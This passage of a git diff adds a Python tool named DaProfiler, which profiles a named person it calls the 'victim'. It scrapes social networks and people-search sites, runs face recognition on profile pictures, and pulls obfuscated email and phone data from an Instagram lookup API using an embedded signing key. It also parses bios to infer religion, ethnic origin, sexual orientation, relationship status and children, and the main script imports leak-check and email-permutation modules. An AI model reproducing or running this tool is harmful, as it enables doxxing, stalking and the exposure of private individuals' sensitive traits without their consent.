+ "Function":false,
+ "Warrant":false,
+ "Link":false,
+ "Capital":false,
+ "Desc":false
+ },
+ "Diploma_Bac":{
+ "Exists":false,
+ "Link":false,
+ "Academie":false,
+ "Mention":false,
+ "City":false,
+ "Diplome":false
+ },
+ "Diploma_Brevet":{
+ "Exists":false,
+ "Name":false,
+ "Link":false,
+ "Academie":false,
+ "Mention":false,
+ "City":false,
+ "Diplome":false
+ },
+ "DeathRecords":{
+ "Exists":false,
+ "Records":false,
+ "AverageAgeUntilDeath":false
+ },
+
+ "Emails":{
+ "HighProbEmails":false,
+ "PermutatedMailbox":false
+ },
+ "LinkedIN":{
+ "Exists":false,
+ "Job":false,
+ "Location":false,
+ "urnid":false,
+ "Url":false,
+ "Twitters":false,
+ "Birthdate":false,
+ "PhoneNumbers":false
+ },
+ "Facebook":{
+ "Exists":false,
+ "AccountList":false
+ },
+
+ "Skype":{
+ "Exists":false,
+ "AccountList":false
+ },
+
+ "Instagram":{
+ "Exists":false,
+ "AccountList":false
+ },
+
+ "Twitter":{
+ "Exists":false,
+ "AccountList":false
+ },
+
+ "CopainsDavant":{
+ "Exists":false,
+ "Job":false,
+ "NbKids":false,
+ "FullName":false,
+ "BornDate":false,
+ "Location":false,
+ "FSituation":false,
+ "ProfilePicUrl":false,
+ "ProfileUrl":false,
+ "OtherLocations":false
+ }
+}
diff --git a/Python Tools/OSINT tool/modules/social_medias/copainsdavant_search.py b/Python Tools/OSINT tool/modules/social_medias/copainsdavant_search.py
new file mode 100644
index 0000000..3cf477f
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/copainsdavant_search.py
@@ -0,0 +1,94 @@
+import requests, json
+from bs4 import BeautifulSoup
+from modules.face_recognition import face_recon
+from colorama import Fore
+
+def check_response(url):
+ r = requests.get(url,allow_redirects=False)
+ status = r.status_code
+ if status == 200:
+ return True
+ else:
+ return None
+
+def copains_davant(name,pren):
+ headers = {
+ 'Accept':'application/json, text/javascript, */*; q=0.01',
+ 'X-Requested-With':'XMLHttpRequest'
+ }
+ r = requests.get(url='http://copainsdavant.linternaute.com/s/?full=&q={} {}&ty=1&xhr='.format(pren,name),headers=headers)
+ try:
+ pagephone = r.content.decode().split(',"$data":')[1].split('{"copains":')[1]
+ dataa = pagephone[:-2]
+ data = json.loads(dataa)
+ users_list = data['users']
+ user_list = []
+ for i in users_list:
+ i = str(i).strip()
+ if i != "0":
+ user_list.append(i)
+ new_verified = []
+ for i in user_list:
+ url = "https://copainsdavant.linternaute.com/p/{}-{}-{}".format(pren,name,i)
+ response_code = check_response(url)
+ if response_code is not None:
+ new_verified.append(url)
+
+ profil_url = new_verified[0]
+ r = requests.get(allow_redirects=False,url='{}'.format(profil_url))
+ pagephone = r.content
+ featuresphone = "html.parser"
+ soup = BeautifulSoup(pagephone,featuresphone)
+ try:
+ localisation = str(soup.find('span',{'class':'locality'}).text)
+ naissance = str(soup.find('abbr',{'class':'bday'}).text.strip())
+ name_full = str(soup.find('a',{'class':'url'}).text.strip())
+ photo = str(soup.find('img',{'itemprop':'logo'})).split('itemprop="logo" src="')[1].split('"')[0]
+ locations = soup.find_all('span',{'class':'copains_career__city jCcareerTown'})
+ dates = soup.find_all('span',{'class':'copains_career__date jCareerDate'})
+
+ location_list = []
+
+ for i in range(len(locations)):
+ locat = locations[i].text.strip()
+ dat = dates[i].text.replace('maintenant','Now').strip()
+ data = dat+" | "+locat
+ if data not in location_list:
+ temp_list = []
+ for i in location_list:
+ if locat in i:
+ temp_list.append('.')
+ if len(temp_list) == 0:
+ location_list.append(data)
+
+ if len(location_list) == 0:
+ location_list = None
+ if "/anonymousL.jpg" in photo:
+ photo = "None"
+ face_detection = None
+ else:
+ print("🧠 Face detection via CopainsDavant profile picture ...")
+ face_detection = face_recon.check(photo)
+ if face_detection is not None:
+ print(" ->"+Fore.GREEN+" Face successfully found ! "+Fore.RESET)
+ face_detection = True
+ card = soup.find('section',{'id':'vcard'}).text.strip()
+ job = "None"
+ nb_kids = "None"
+ situation_familiale = "None"
+ if "Situation familiale" in card:
+ situation_familiale = card.split('Situation familiale :')[1].split(' ')[0].strip()
+ situation_familiale = situation_familiale.strip()
+ if "Profession" in card:
+ job = card.split('Profession :')[1].split(' ')[0]
+ job = " ".join(job.split()).split(' ')[0]
+ if "Enfant" in card:
+ nb_kids = card.split("Enfants :")[1].split(" ")[0]
+ text = {'Face_detection':face_detection,'Other_locations':location_list,'url_full':'{}'.format(profil_url),'familial_situation':str(situation_familiale).replace('Enfants','').replace('Aucune','').strip(),'full_name':str(name_full),'born':str(naissance),'localisation':str(localisation),
+ "nb_enfants":str(nb_kids).strip(),"Job":str(job).strip(),'pdp':str(photo),
+ }
+ return text
+ except AttributeError:
+ return None
+ except IndexError:
+ return None
diff --git a/Python Tools/OSINT tool/modules/social_medias/facebook_search.py b/Python Tools/OSINT tool/modules/social_medias/facebook_search.py
new file mode 100644
index 0000000..9c54944
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/facebook_search.py
@@ -0,0 +1,22 @@
+import requests, bs4, re
+from bs4 import BeautifulSoup
+
+def facebook_search(name,pren):
+ url = "https://fr-fr.facebook.com/public/{}-{}".format(pren,name)
+ page = requests.get(url).content.decode('utf-8')
+ nameAccount = re.findall("width=\"72\" height=\"72\" alt=\"([a-zA-Z0-9_ é , ]+)\" />", page)
+ total_accounts = []
+ for i in nameAccount:
+ if name.lower() in i.lower() and pren.lower() in i.lower():
+ total_accounts.append(i)
+ else:
+ pass
+ if len(total_accounts) == 0:
+ return None
+ else:
+ return total_accounts
+
+'''
+This code cand be found at :
+https://github.com/lulz3xploit/LittleBrother/blob/master/core/facebookSearchTool.py
+'''
diff --git a/Python Tools/OSINT tool/modules/social_medias/instagram_search.py b/Python Tools/OSINT tool/modules/social_medias/instagram_search.py
new file mode 100644
index 0000000..294a1c7
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/instagram_search.py
@@ -0,0 +1,431 @@
+import json, httpx, urllib, hmac,hashlib, sys, os, bs4, requests
+from bs4 import BeautifulSoup
+
+def cleartext(text):
+ spec_chars = list(',?;:!§/\|<>*$£¤^¨^')
+ for i in range(8):
+ for i in spec_chars:
+ if i in text:
+ text = text.replace(i,'')
+ return text
+
+def get_info_from_bio(bio):
+ lines = bio.split('\n')
+
+ religions = [
+ ('✡️','Judaism'),
+ ('☪️','Islam'),
+ ('☦️','Orthodox'),
+ ('✝️','Christ'),
+ ('🕉️','Hinduism')
+ ]
+
+ hobbies = [
+ ('🥊','Boxing'),
+ ('🐎','Horses'),
+ ('🐴','Horses'),
+ ('🎾','Tennis'),
+ ('⚽','Football'),
+ ('🥋','Martial Arts'),
+ ('🏀','Basketball'),
+ ('🏈','American Football'),
+ ('🏐','Volleyball'),
+ ('🎻','Violin'),
+ ('🎸','Guitar'),
+ ('🎹','Piano'),
+ ('🎣','Fishing'),
+ ('⛷️','Ski')
+ ]
+
+ astrology_signs = [
+ ('♈','Aries','March 21 - April 20'),
+ ('♉','Taurus','April 21 - May 21'),
+ ('♊','Gemini','May 22 - June 21'),
+ ('♋','Cancer','June 22 - July 22'),
+ ('♌','Leo','July 23 - August 22'),
+ ('♍','Virgo','August 23 - September 23'),
+ ('♎','Libra','September 24 - October 23'),
+ ('♏','Scorpius','October 24 - November 22'),
+ ('♐','Sagittarius','November 23 - December 21'),
+ ('♑','Capricorn','December 22 - January 20'),
+ ('♒','Aquarius','January 21 - February 19'),
+ ('♓','Pisces','February 20 - March 20')
+ ]
+
+ ethnical_origins = [
+ ('🇫🇷','France'),
+ ('🇨🇭','Swiss'),
+ ('🇨🇳','China'),
+ ('🇧🇪','Belgium'),
+ ('🇦🇱','Albania'),
+ ('🇧🇬','Bulgaria'),
+ ('🇧🇷','Brazil'),
+ ('🇨🇦','Canada'),
+ ('🇩🇪','Germany'),
+ ('🇮🇱','Israel'),
+ ('🇵🇸','Palestine'),
+ ('🇺🇸','United States'),
+ ('🇵🇹','Portugal'),
+ ('🇱🇹','Lithuania'),
+ ('🇵🇱','Poland'),
+ ('🇷🇺','Russia'),
+ ('🇪🇸','Spain'),
+ ('🇹🇷','Turkey'),
+ ('🇩🇿','Algeria'),
+ ('🇲🇦','Morocco'),
+ ('🇬🇵','Guadeloupe'),
+ ('🇮🇳','India'),
+ ('🇱🇺','Luxembourg'),
+ ('🇳🇪','Niger'),
+ ('🇳🇬','Nigeria'),
+ ('🇶🇦','Quatar'),
+ ('🇷🇪','Réunion'),
+ ('🇷🇴','Romania'),
+ ('🇹🇳','Tunisia'),
+ ('🇾🇹','Mayotte'),
+ ('🇿🇦','South Africa'),
+ ('🇲🇽','Mexico'),
+ ('🇨🇿','Czech Republic'),
+ ('🇯🇵','Japan'),
+ ('🇰🇪','Kenya'),
+ ('🇰🇵','North Korea'),
+ ('🇰🇷','South Korea'),
+ ('🇯🇲','Jamaica'),
+ ('🇮🇪','Ireland'),
+ ('🇬🇷','Greece')
+ ]
+
+ emailss = [
+ '@icloud.com',
+ '@gmail.com',
+ '@gmx.fr',
+ '@yahoo.fr',
+ '@yahoo.com',
+ '@outlook.com'
+ '@outlook.fr',
+ '@hotmail.fr',
+ '@hotmail.com',
+ '@live.fr',
+ '@live.com',
+ '@sfr.fr',
+ '@orange.fr',
+ '@free.fr',
+ '@aol.com',
+ '@wanadoo.fr',
+ '@neuf.fr',
+ '@laposte.net',
+ '@yandex.ru',
+ '@club-internet.fr',
+ '@msn.com',
+ '@influencelife.fr',
+ '@shaunaevents.com',
+ '@we-events.fr',
+ '@nabillapro.com',
+ '@facebook.com',
+ '@protonmail.com',
+ '@protonmail.ch',
+ '@thepauseagency.com',
+ '@alexotime.com',
+ '@tomorrowhub.com'
+ ]
+
+ bio_infos = {}
+ emails_final = []
+ snapchat_final = []
+ paypals = []
+ best_friend = []
+ ages = []
+ love_date_since = []
+ school_list = []
+ city_list = []
+ lgbt_points = []
+ fb_list = []
+ twitter_list = []
+ flag_list = []
+ religions_targ = []
+ astro_sign = []
+ hobbies_emojis = []
+ love_situation = []
+ tiktok_list = []
+
+ for line in lines:
+ line = line.replace('</a','').replace('<a href="/v','').replace('<a href="/t/','')
+ line = line.lower()
+ for i in religions:
+ emoji, religionName = i
+ if emoji in line or religionName.lower() in line:
+ religions_targ.append(religionName)
+ for i in astrology_signs:
+ emoji, sign, date = i
+ if emoji in line:
+ astro_sign.append('{} | {}'.format(sign,date))
+ for flagos in ethnical_origins:
+ flag, country_full = flagos
+ if flag in line:
+ flag_list.append(country_full)
+ for i in hobbies:
+ emoji, name = i
+ if emoji in line:
+ hobbies_emojis.append(name)
+ temp_list_love = []
+ for chars in line:
+ if chars == "/":
+ temp_list_love.append('.')
+ if "tik tok" in line or "tiktok" in line:
+ if ":" in line:
+ tiktok_list.append(cleartext(line.split(':')[1]))
+ else:
+ tiktok_list.append(cleartext(line.replace('tik tok','').replace('tiktok','')))
+ if "en couple" in line or "🔒" in line or "🔐" in line:
+ love_situation.append('Not Free | Taken')
+ if "celib" in line:
+ love_situation.append('Single | Free')
+ if "🏳️‍🌈" in line or "🏳️‍⚧️" in line:
+ lgbt_points.append('.')
+ if "facebook" in line:
+ if ":" in line:
+ line = line.split(':')[1]
+ fb_list.append(cleartext(line))
+ if "twitter" in line:
+ if ":" in line:
+ line = line.split(':')[1]
+ twitter_list.append(cleartext(line))
+ if len(temp_list_love) == 2:
+ love_date_since.append(line)
+ if "📍" in line or "📌" in line:
+ city_list.append(cleartext(line.replace('📍','').replace('📌','').replace(':','')))
+ if "snapchat" in line or "snap" in line or "👻" in line or "sc : " in line or "sc:" in line:
+ line = line.replace('👻','').strip()
+ if ":" in line:
+ line = line.split(':')[1].strip()
+ snapchat_final.append(cleartext(line))
+ if "📚" in line or "🎓" in line:
+ school_list.append(cleartext(line.replace('📚','').replace('🎓','').strip()))
+ if "yo" in line or "years old" in line or "years" in line or "🎂" in line or "anniv" in line:
+ if "🎂" in line:
+ line = line.replace('🎂','')
+ if ":" in line:
+ line = line.split(':')[1]
+ ages.append(cleartext(line))
+ else:
+ try:
+ if "years" in line:
+ age = int(line.split("years")[0].replace('years','').strip())
+ elif "yo" in line:
+ age = int(line.split("yo")[0].replace('yo','').strip())
+ elif 'y' in line:
+ age = int(line.split("y")[0].replace('y','').strip())
+ else:
+ age = int(line.split("years")[0].strip())
+ ages.append(cleartext(str(age)))
+ except ValueError:
+ ages.append('Verify by yourself')
+ if "paypal.me/" in line:
+ paypal = ("paypal.me/"+line.split("paypal.me/")[1])
+ paypals.append(paypal)
+ if "@" in line:
+ line = line.replace('📩','')
+ temp_list_emails = []
+ if "/" in line and '"' in line:
+ temp_list_emails = []
+ line = (line.replace('/','@').split('"')[0])
+ temp_list_emails.append('.')
+ try:
+ domain = '@'+line.split('@')[1]
+ if "." not in domain:
+ line = "@"+line.split("@")[1]
+ if " " in line:
+ line = line.split(' ')[0]
+ best_friend.append(line)
+ else:
+ for i in emailss:
+ if domain == i:
+ if line not in emails_final:
+ if ":" in line:
+ line = line.split(':')[1].strip()
+ emails_final.append(line)
+ except:
+ pass
+
+ if len(tiktok_list) == 0:
+ bio_infos['tiktok_list'] = None
+ else:
+ bio_infos['tiktok_list'] = tiktok_list
+ if len(love_situation) == 0:
+ bio_infos['love_situation'] = None
+ else:
+ bio_infos['love_situation'] = love_situation
+ if len(hobbies_emojis) == 0:
+ bio_infos['Hobbies'] = None
+ else:
+ bio_infos['Hobbies'] = hobbies_emojis
+ if len(religions_targ) == 0:
+ bio_infos['religions'] = None
+ else:
+ bio_infos['religions'] = religions_targ
+ if len(astro_sign) == 0:
+ bio_infos['astrology'] = None
+ else:
+ bio_infos['astrology'] = astro_sign
+ if len(flag_list) == 0:
+ bio_infos['origins'] = None
+ else:
+ bio_infos['origins'] = flag_list
+ if len(fb_list) == 0:
+ bio_infos['fb_list'] = None
+ else:
+ bio_infos['fb_list'] = fb_list
+ if len(twitter_list) == 0:
+ bio_infos['twitter_list'] = None
+ else:
+ bio_infos['twitter_list'] = twitter_list
+ if len(lgbt_points) == 0:
+ bio_infos['lgbt_points'] = None
+ else:
+ bio_infos['lgbt_points'] = "a"
+ if len(city_list) == 0:
+ bio_infos['city_list'] = None
+ else:
+ bio_infos['city_list'] = city_list
+ if len(school_list) == 0:
+ bio_infos['school'] = None
+ else:
+ bio_infos['school'] = school_list[0].replace(':','')
+ if len(snapchat_final) == 0:
+ bio_infos['snapchat'] = None
+ else:
+ bio_infos['snapchat'] = snapchat_final[0].replace('snapchat','').replace('snap','').replace(':','').strip()
+ if len(best_friend) == 0:
+ bio_infos['best_friend'] = None
+ else:
+ bio_infos['best_friend'] = best_friend
+ if len(ages) == 0:
+ bio_infos['age'] = None
+ else:
+ bio_infos['age'] = str(ages[0])
+ if len(emails_final) == 0:
+ bio_infos['emails'] = None
+ else:
+ bio_infos['emails'] = emails_final
+ if len(love_date_since) == 0:
+ bio_infos['love_date'] = None
+ else:
+ bio_infos['love_date'] = love_date_since[0]
+ if len(paypals) == 0:
+ bio_infos['paypal'] = None
+ else:
+ bio_infos['paypal'] = paypals[0]
+ return bio_infos
+
+def getInstagramEmailFromBio(username):
+
+ url = "https://www.picuki.com/profile/{}".format(username.replace('@',''))
+
+ r = requests.get(url=url)
+ page = r.content.decode()
+ features = "html.parser"
+ soup = BeautifulSoup(page,features)
+
+ try:
+ bioo = str(soup.find('div',{'class':'profile-description'})).split('profile-description">')[1].split('</div>')[0]
+ except:
+ bioo = "Lol"
+
+ return get_info_from_bio(bioo)
+
+def get_profile_infos(profile):
+ r = requests.get('https://www.picuki.com/profile/leaelui')
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ bio = soup.find('div',{'class':'profile-description'})
+ followings = soup.find('span',{'class':'follows'})
+ followers = soup.find('span',{'class':'followed_by'})
+ posts = soup.find('span',{'class':'total_posts'})
+
+ dictt = {
+ 'Bio':bio,
+ 'Following':followings,
+ 'Followers':followers
+ }
+
+ return dictt
+
+def ig_search(name,pren):
+ url = "https://greatfon.com/search?query={} {}".format(pren,name)
+
+ r = requests.get(url=url)
+ page = r.content.decode()
+ features = "html.parser"
+ soup = BeautifulSoup(page,features)
+
+ profiles = []
+
+ profiless = soup.find_all('a',{'class':'profile-name-link'})
+ for i in profiless[0:5]:
+ i = str(i.text.strip())
+ profiles.append(i.replace('<div class="result-username">','').replace('</div>','').strip())
+ return profiles
+
+# ============================================================================
+
+"""
+LICENSE
+This module belong to Palenath | Megadose FROM Toutatis
+
+Github : https://github.com/megadose/
+Twitter : https://twitter.com/palenath
+
+Module name : Toutatis
+Repo : https://github.com/megadose/toutatis
+"""
+
+def advanced_lookup(username):
+ USERS_LOOKUP_URL = 'https://i.instagram.com/api/v1/users/lookup/'
+ SIG_KEY_VERSION = '4'
+ IG_SIG_KEY = 'e6358aeede676184b9fe702b30f4fd35e71744605e39d2181a34cede076b3c33'
+
+ def generate_signature(data):
+ return 'ig_sig_key_version=' + SIG_KEY_VERSION + '&signed_body=' + hmac.new(IG_SIG_KEY.encode('utf-8'),data.encode('utf-8'),hashlib.sha256).hexdigest() + '.'+ urllib.parse.quote_plus(data)
+
+ def generate_data( phone_number_raw):
+ data = {'login_attempt_count': '0',
+ 'directly_sign_in': 'true',
+ 'source': 'default',
+ 'q': phone_number_raw,
+ 'ig_sig_key_version': SIG_KEY_VERSION
+ }
+ return data
+
+ data=generate_signature(json.dumps(generate_data(username)))
+ headers={
+ "Accept-Language": "en-US",
+ "User-Agent": "Instagram 101.0.0.15.120",
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ "Accept-Encoding": "gzip, deflate",
+ "X-FB-HTTP-Engine": "Liger",
+ "Connection": "close"}
+ try:
+ r = httpx.post(USERS_LOOKUP_URL,headers=headers,data=data)
+ rep=r.json()
+ return({"user":rep,"error":None})
+ except :
+ return({"user":None,"error":"rate limit"})
+
+def get_extra_data(username):
+ data = advanced_lookup(username)
+ final_dict = {}
+ status = data['user']['status']
+ if status != "ok":
+ return None
+ else:
+ try:
+ final_dict['obfuscated_email'] = data['user']['obfuscated_email']
+ except KeyError:
+ final_dict['obfuscated_email'] = None
+ try:
+ final_dict['obfuscated_phone'] = data['user']['obfuscated_phone']
+ except KeyError:
+ final_dict['obfuscated_phone'] = None
+ return final_dict
diff --git a/Python Tools/OSINT tool/modules/social_medias/linkedin_search.py b/Python Tools/OSINT tool/modules/social_medias/linkedin_search.py
new file mode 100644
index 0000000..6f4846c
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/linkedin_search.py
@@ -0,0 +1,61 @@
+from linkedin_api import Linkedin
+
+def linkedin_search(name,pren):
+ try:
+ """
+ a = search('"{} {}" -intitle:"profiles" -inurl:"dir/ " site:fr.linkedin.com/in/ OR site:fr.linkedin.com/pub/'.format(pren,name), lang="fr")
+ if len(a) > 0:
+ if name.lower() in a[0] and pren.lower() in a[0]:
+ return a[0]
+ else:
+ return None
+ """
+ return None
+ except:
+ pass
+
+def official_linkedin_search(name,pren):
+ username = ""
+ password = ""
+
+ if len(username) == 0:
+ return None
+ else:
+ api = Linkedin(username=username,password=password)
+
+ profile_data = api.search_people(keyword_first_name=pren,keyword_last_name=name)
+
+ if len(profile_data) == 0:
+ return None
+ else:
+ public_id = profile_data[0]['public_id']
+ urn_id = profile_data[0]['urn_id']
+ profile_infos = api.get_profile(urn_id=urn_id,public_id=public_id)
+ profile_contact = api.get_profile_contact_info(urn_id=urn_id,public_id=public_id)
+ email_adress = profile_contact['email_address']
+ twitters = profile_contact['twitter']
+ birthdate = profile_contact['birthdate']
+ phone_numbers = profile_contact['phone_numbers']
+ profile_infosz = api.get_profile(public_id)
+ location = profile_infosz['geoLocationName']
+ bio = profile_infosz['headline']
+
+ try:
+ job = (profile_infos['headline'])
+ except:
+ job = None
+
+ data = {
+ 'Loc':location,
+ 'Job':job,
+ 'Bio':bio,
+ 'email':email_adress,
+ 'urnid':urn_id,
+ 'url':'https://www.linkedin.com/in/'+public_id,
+ 'twitters':twitters,
+ 'birthdate':birthdate,
+ 'phone_numbers':phone_numbers
+ }
+ return data
+
+
diff --git a/Python Tools/OSINT tool/modules/social_medias/skype_search.py b/Python Tools/OSINT tool/modules/social_medias/skype_search.py
new file mode 100644
index 0000000..f45ba55
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/skype_search.py
@@ -0,0 +1,34 @@
+import requests, bs4
+from bs4 import BeautifulSoup
+
+from modules.mail import mail_check
+
+def skype_searchh(name,pren):
+ url = f"https://www.skypli.com/search/{name} {pren}"
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ profiles = soup.find_all('span',{'class':'search-results__block-info-username'})[0:5]
+
+ profiless = []
+
+ for i in profiles:
+ profiless.append(i.text)
+
+ profile_dict = []
+
+ for i in profiless:
+ r = requests.get('https://www.skypli.com/profile/{}'.format(i))
+ page = r.content
+ if "Page not found." in r.text:
+ full_name = ""
+ else:
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+ name = soup.find_all('div',{'class':'profile-box__table-value'})[1]
+ full_name = (name.text.strip())
+
+ profile_dict.append('{} \t| {}'.format(i,full_name))
+ return profile_dict
diff --git a/Python Tools/OSINT tool/modules/social_medias/soundcloud.py b/Python Tools/OSINT tool/modules/social_medias/soundcloud.py
new file mode 100644
index 0000000..8c7bfd4
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/soundcloud.py
@@ -0,0 +1,22 @@
+from selenium import webdriver
+from colorama import Fore
+import time
+
+def webdriver_usage(name,pren):
+ print("🎧 Searching for soundcloud profiles ...")
+ try:
+ try:
+ options = webdriver.FirefoxOptions()
+ options.headless = True
+ driver = webdriver.Firefox(options=options)
+ driver.get(f"https://soundcloud.com/search/people?q={pren} {name}")
+ time.sleep(4.0)
+ source_code = str(driver.page_source)
+ if "Check the spelling, or try a different search." in source_code or "Sorry we didn't find any results for" in source_code:
+ pass
+ else:
+ print(f' -> {Fore.GREEN}Found !{Fore.RESET} Visit : https://soundcloud.com/search/people?q={pren}%20{name}')
+ except:
+ return None
+ except KeyboardInterrupt:
+ return
diff --git a/Python Tools/OSINT tool/modules/social_medias/twitter_search.py b/Python Tools/OSINT tool/modules/social_medias/twitter_search.py
new file mode 100644
index 0000000..600f1c8
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/twitter_search.py
@@ -0,0 +1,20 @@
+import requests, bs4
+from bs4 import BeautifulSoup
+
+def twitter_search(name,pren):
+ url = "https://twstalker.com/search/?q={} {}".format(pren,name)
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ usernames = []
+
+ username = soup.find_all('div',{'class':'user-request-dt'})
+
+ for i in username:
+ i = str(i).split('@')[1].split('</span')[0].replace('\'','')
+ usernames.append('@'+i.strip())
+
+ return usernames
+
diff --git a/Python Tools/OSINT tool/modules/social_medias/wattpad_search.py b/Python Tools/OSINT tool/modules/social_medias/wattpad_search.py
new file mode 100644
index 0000000..b0fa4d8
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/social_medias/wattpad_search.py
@@ -0,0 +1,18 @@
+import time, colorama
+from colorama import Fore
+from selenium import webdriver
+
+def wattpad_module(pren,name):
+ print("📔 Searching for Wattpad profiles ...")
+ options = webdriver.FirefoxOptions()
+ options.headless = True
+ driver = webdriver.Firefox(options=options)
+ url = "https://www.wattpad.com/search/{}%20{}/people".format(pren,name)
+ driver.get(url)
+ time.sleep(2.0)
+ source_code = str(driver.page_source)
+
+ if "Hmmm... il n'y a pas de résultats" in source_code:
+ return None
+ else:
+ print(f' -> {Fore.GREEN}Found !{Fore.RESET} Visit : {url}')
\ No newline at end of file
diff --git a/Python Tools/OSINT tool/modules/visual/logging.py b/Python Tools/OSINT tool/modules/visual/logging.py
new file mode 100644
index 0000000..5901109
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/visual/logging.py
@@ -0,0 +1,17 @@
+def speculos_lotus():
+ try:
+ with open("modules/mail_domain.txt","r") as file:
+ lines = file.readlines()
+ file.close()
+ print("""
+* NOTE *:
+ + You can update DaProfiler using : py profiler.py -u True
+
+ + You can add by yourself some others mail domains (ex @mail.mail)
+ to search for target emails using that domain.
+ HOW :
+ . Go to /modules
+ . Add your domains ({} Detected)
+ """.format(str(len(lines))))
+ except:
+ pass
diff --git a/Python Tools/OSINT tool/profiler.py b/Python Tools/OSINT tool/profiler.py
new file mode 100644
index 0000000..14c76a5
--- /dev/null
+++ b/Python Tools/OSINT tool/profiler.py
@@ -0,0 +1,664 @@
+from colorama.initialise import init
+
+from json import decoder
+import threading, time, colorama, treelib, random, sys, os, argparse, json, requests, webbrowser, socketio, string
+
+from tqdm import tqdm
+from treelib import Node, Tree
+from colorama import Fore, Back, Style, init
+from statistics import mean
+init(autoreset=True)
+from modules.social_medias import wattpad_search
+from modules.social_medias import skype_search
+from modules.social_medias import copainsdavant_search
+from modules.social_medias import instagram_search
+from modules.social_medias import twitter_search
+from modules.social_medias import facebook_search
+from modules.social_medias import linkedin_search
+from modules.official_documents import dirigeants_bfmtv
+from modules.official_documents import death_records
+from modules.official_documents import pagesblanches_search
+from modules.mail import mail_gen
+from modules.mail import scylla_sh
+from modules.mail import mail_check
+from modules.diplomes import last_diplomes
+from modules.social_medias import soundcloud
+from modules.visual import logging
+from modules.api_modules import leakcheck_net
+
+banner = False
+# Opening json report template
+data_file = open('modules/report.json','r')
+data_export = json.load(data_file)
+data_file.close()
+
+
+# Affichage de la banniere
+def banner():
+ if sys.platform == 'win32':
+ os.system('cls')
+ else:
+ os.system('clear')
+
+ print("""
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠾⠛⢉⣉⣉⣉⡉⠛⠷⣦⣄⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠋⣠⣴⣿⣿⣿⣿⣿⡿⣿⣶⣌⠹⣷⡀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠁⣴⣿⣿⣿⣿⣿⣿⣿⣿⣆⠉⠻⣧⠘⣷⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡇⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠈⠀⢹⡇⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢸⣿⠛⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⢸⡇⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠀⢿⡆⠈⠛⠻⠟⠛⠉⠀⠀⠀⠀⠀⠀⣾⠃⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣧⡀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠃⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢼⠿⣦⣄⠀⠀⠀⠀⠀⠀⠀⣀⣴⠟⠁⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣦⠀⠀⠈⠉⠛⠓⠲⠶⠖⠚⠋⠉⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⠀⣠⣾⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠀⣾⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⢀⣄⠈⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ ⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+ """)
+ print(" Get someone's digital identity anonymously 👻 ")
+ print(" Made by "+Style.BRIGHT+Fore.RED+"TheRealDalunacrobate "+Fore.RESET+Style.RESET_ALL+"with 💝")
+banner()
+
+# Get the arguments
+parser = argparse.ArgumentParser()
+parser.add_argument("-n", "--name", help="Victim name")
+parser.add_argument('-ln','--lastname',help="Last name of victim")
+parser.add_argument('-json','--json',help="Print result in json")
+parser.add_argument('-zp','--zp',help="Zip code (Optional)")
+
+args = parser.parse_args()
+
+# Set the vars
+name = (args.lastname)
+pren = (args.name)
+json_print = (args.json)
+zip_code = (args.zp)
+
+def randomString(length):
+ return ''.join(random.choice(string.ascii_letters) for i in range(length))
+
+thisIsATmpTokenListener = randomString(25);
+
+
+possible_usernames = []
+folder_name = "{}_{}".format(pren,name)
+
+personnal_life = []
+social_medias = []
+
+# Crraeate the folder for the reports
+try:
+ os.mkdir('Reports')
+except FileExistsError:
+ pass
+try:
+ os.mkdir('Reports/{}'.format(folder_name))
+except FileExistsError:
+ pass
+
+# Main
+try:
+ if pren and name is not None:
+ print("\n🎭 Finding and filtering online identities ...")
+ try:
+ copainsdavant_results = copainsdavant_search.copains_davant(name=name,pren=pren)
+ except:
+ copainsdavant_results = None
+ try:
